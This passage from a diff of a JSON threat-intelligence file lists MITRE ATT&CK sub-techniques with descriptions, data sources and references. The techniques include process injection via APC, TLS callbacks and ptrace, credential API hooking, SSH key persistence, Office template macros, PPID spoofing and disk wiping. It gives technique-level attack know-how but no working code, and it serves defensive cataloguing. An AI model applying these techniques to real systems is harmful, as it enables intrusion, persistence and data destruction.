"e51137a5-1cdc-499e-911a-abaedaa5ac86", + "value": "Space after Filename - T1036.006" + }, + { + "description": "Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "meta": { + "external_id": "T1055.004", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process monitoring", + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1055/004", + "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx", + "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/", + "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows", + "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + ] + }, + "related": [ + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "type": "subtechnique-of" + } + ], + "uuid": "7c0f17c9-1af6-4628-9cbd-9e45482dd605", + "value": "Asynchronous Procedure Call - T1055.004" + }, + { + "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)", + "meta": { + "external_id": "T1550.004", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Office 365 audit logs", + "Authentication logs" + ], + "mitre_platforms": [ + "Office 365", + "SaaS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1550/004", + "https://wunderwuzzi23.github.io/blog/passthecookie.html", + "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/" + ] + }, + "related": [ + { + "dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814", + "type": "subtechnique-of" + } + ], + "uuid": "c3c8c916-2f3c-4e71-94b2-240bdfc996f0", + "value": "Web Session Cookie - T1550.004" + }, + { + "description": "Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Endgame Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Endgame Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Endgame Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n", + "meta": { + "external_id": "T1056.004", + "kill_chain": [ + "mitre-attack:collection", + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Windows event logs", + "Process monitoring", + "Loaded DLLs", + "DLL monitoring", + "Binary file metadata", + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1056/004", + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918", + "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/", + "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/", + "https://www.exploit-db.com/docs/17802.pdf", + "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html", + "https://github.com/prekageo/winhook", + "https://github.com/jay/gethooks", + "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/", + "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/", + "http://www.gmer.net/", + "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx", + "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis" + ] + }, + "related": [ + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "type": "subtechnique-of" + } + ], + "uuid": "f5946b5e-9408-485f-a7f7-b5efc88909b6", + "value": "Credential API Hooking - T1056.004" + }, + { + "description": "Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.\n\nAdversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse) (Citation: Cybereason Linux Exim Worm)", + "meta": { + "external_id": "T1098.004", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1098/004", + "https://www.ssh.com/ssh/authorized_keys/", + "https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities", + "https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability" + ] + }, + "related": [ + { + "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", + "type": "subtechnique-of" + } + ], + "uuid": "6b57dc31-b814-4a03-8706-28bc20d739c4", + "value": "SSH Authorized Keys - T1098.004" + }, + { + "description": "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process’ memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "meta": { + "external_id": "T1055.005", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process monitoring", + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1055/005", + "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + ] + }, + "related": [ + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "type": "subtechnique-of" + } + ], + "uuid": "e49ee9d2-0d98-44ef-85e5-5d3100065744", + "value": "Thread Local Storage - T1055.005" + }, + { + "description": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes with high-privileges, and on some system those that are non-child processes.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "meta": { + "external_id": "T1055.008", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "System calls", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1055/008", + "http://man7.org/linux/man-pages/man2/ptrace.2.html", + "https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be", + "https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf", + "https://www.gnu.org/software/acct/", + "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing", + "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html" + ] + }, + "related": [ + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "type": "subtechnique-of" + } + ], + "uuid": "ea016b56-ae0e-47fe-967a-cc0ad51af67f", + "value": "Ptrace System Calls - T1055.008" + }, + { + "description": "Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files.\n\nOutlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\\Users\\\\Documents\\Outlook Files` or `C:\\Users\\\\AppData\\Local\\Microsoft\\Outlook`.(Citation: Microsoft Outlook Files)", + "meta": { + "external_id": "T1114.001", + "kill_chain": [ + "mitre-attack:collection" + ], + "mitre_data_sources": [ + "Process monitoring", + "File monitoring", + "Authentication logs", + "Mail server" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1114/001", + "https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/", + "https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790" + ] + }, + "related": [ + { + "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "type": "subtechnique-of" + } + ], + "uuid": "1e9eb839-294b-48cc-b0d3-c45555a2a004", + "value": "Local Email Collection - T1114.001" + }, + { + "description": "Adversaries may target an Exchange server or Office 365 to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services or Office 365 to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.", + "meta": { + "external_id": "T1114.002", + "kill_chain": [ + "mitre-attack:collection" + ], + "mitre_data_sources": [ + "Authentication logs", + "Email gateway", + "Mail server", + "Office 365 trace logs" + ], + "mitre_platforms": [ + "Office 365", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1114/002" + ] + }, + "related": [ + { + "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "type": "subtechnique-of" + } + ], + "uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", + "value": "Remote Email Collection - T1114.002" + }, + { + "description": "Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)", + "meta": { + "external_id": "T1218.001", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1218/001", + "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk", + "https://msdn.microsoft.com/windows/desktop/ms644670", + "https://msdn.microsoft.com/windows/desktop/ms524405", + "https://msitpros.com/?p=3909", + "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625" + ] + }, + "related": [ + { + "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", + "type": "subtechnique-of" + } + ], + "uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", + "value": "Compiled HTML File - T1218.001" + }, + { + "description": "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) \n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more.", + "meta": { + "external_id": "T1114.003", + "kill_chain": [ + "mitre-attack:collection" + ], + "mitre_data_sources": [ + "Process use of network", + "Process monitoring", + "Email gateway", + "Mail server", + "Office 365 trace logs" + ], + "mitre_platforms": [ + "Office 365", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1114/003", + "https://www.us-cert.gov/ncas/alerts/TA18-086A", + "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/" + ] + }, + "related": [ + { + "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "type": "subtechnique-of" + } + ], + "uuid": "7d77a07d-02fe-4e88-8bd9-e9c008c01bf0", + "value": "Email Forwarding Rule - T1114.003" + }, + { + "description": "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.", + "meta": { + "external_id": "T1137.001", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Windows Registry", + "Process monitoring", + "Process command-line parameters", + "File monitoring" + ], + "mitre_platforms": [ + "Windows", + "Office 365" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1137/001", + "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea", + "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office", + "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/", + "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/", + "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique", + "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746", + "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943" + ] + }, + "related": [ + { + "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "type": "subtechnique-of" + } + ], + "uuid": "79a47ad0-fc3b-4821-9f01-a026b1ddba21", + "value": "Office Template Macros - T1137.001" + }, + { + "description": "Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)", + "meta": { + "external_id": "T1561.001", + "kill_chain": [ + "mitre-attack:impact" + ], + "mitre_data_sources": [ + "Kernel drivers", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1561/001", + "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", + "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", + "https://www.justice.gov/opa/press-release/file/1092091/download", + "https://docs.microsoft.com/sysinternals/downloads/sysmon" + ] + }, + "related": [ + { + "dest-uuid": "1988cc35-ced8-4dad-b2d1-7628488fa967", + "type": "subtechnique-of" + } + ], + "uuid": "fb640c43-aa6b-431e-a961-a279010424ac", + "value": "Disk Content Wipe - T1561.001" + }, + { + "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS)", + "meta": { + "external_id": "T1518.001", + "kill_chain": [ + "mitre-attack:discovery" + ], + "mitre_data_sources": [ + "Stackdriver logs", + "Azure activity logs", + "AWS CloudTrail logs", + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "AWS", + "GCP", + "Azure", + "Office 365", + "Azure AD", + "SaaS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1518/001", + "https://expel.io/blog/finding-evil-in-aws/" + ] + }, + "related": [ + { + "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "type": "subtechnique-of" + } + ], + "uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", + "value": "Security Software Discovery - T1518.001" + }, + { + "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)", + "meta": { + "external_id": "CAPEC-639", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "AWS", + "GCP", + "Azure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1552/001", + "https://capec.mitre.org/data/definitions/639.html", + "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html", + "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx", + "https://posts.specterops.io/head-in-the-clouds-bd038bb69e48" + ] + }, + "related": [ + { + "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", + "type": "subtechnique-of" + } + ], + "uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", + "value": "Credentials In Files - T1552.001" + }, + { + "description": "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)", + "meta": { + "external_id": "T1561.002", + "kill_chain": [ + "mitre-attack:impact" + ], + "mitre_data_sources": [ + "Kernel drivers", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1561/002", + "https://www.symantec.com/connect/blogs/shamoon-attacks", + "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html", + "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf", + "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/", + "https://docs.microsoft.com/sysinternals/downloads/sysmon" + ] + }, + "related": [ + { + "dest-uuid": "1988cc35-ced8-4dad-b2d1-7628488fa967", + "type": "subtechnique-of" + } + ], + "uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9", + "value": "Disk Structure Wipe - T1561.002" + }, + { + "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)", + "meta": { + "external_id": "T1134.004", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1134/004", + "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/", + "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works", + "https://www.countercept.com/blog/detecting-parent-pid-spoofing/", + "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/", + "https://blog.xpnsec.com/becoming-system/", + "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags", + "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3" + ] + }, + "related": [ + { + "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "type": "subtechnique-of" + } + ], + "uuid": "93591901-3172-4e94-abf8-6034ab26f44a", + "value": "Parent PID Spoofing - T1134.004" + }, + { + "description": "Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nOnce malicious home pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)\n", + "meta": { + "external_id": "T1137.004", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Mail server", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows", + "Office 365" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1137/004", + "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/", + "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack", + 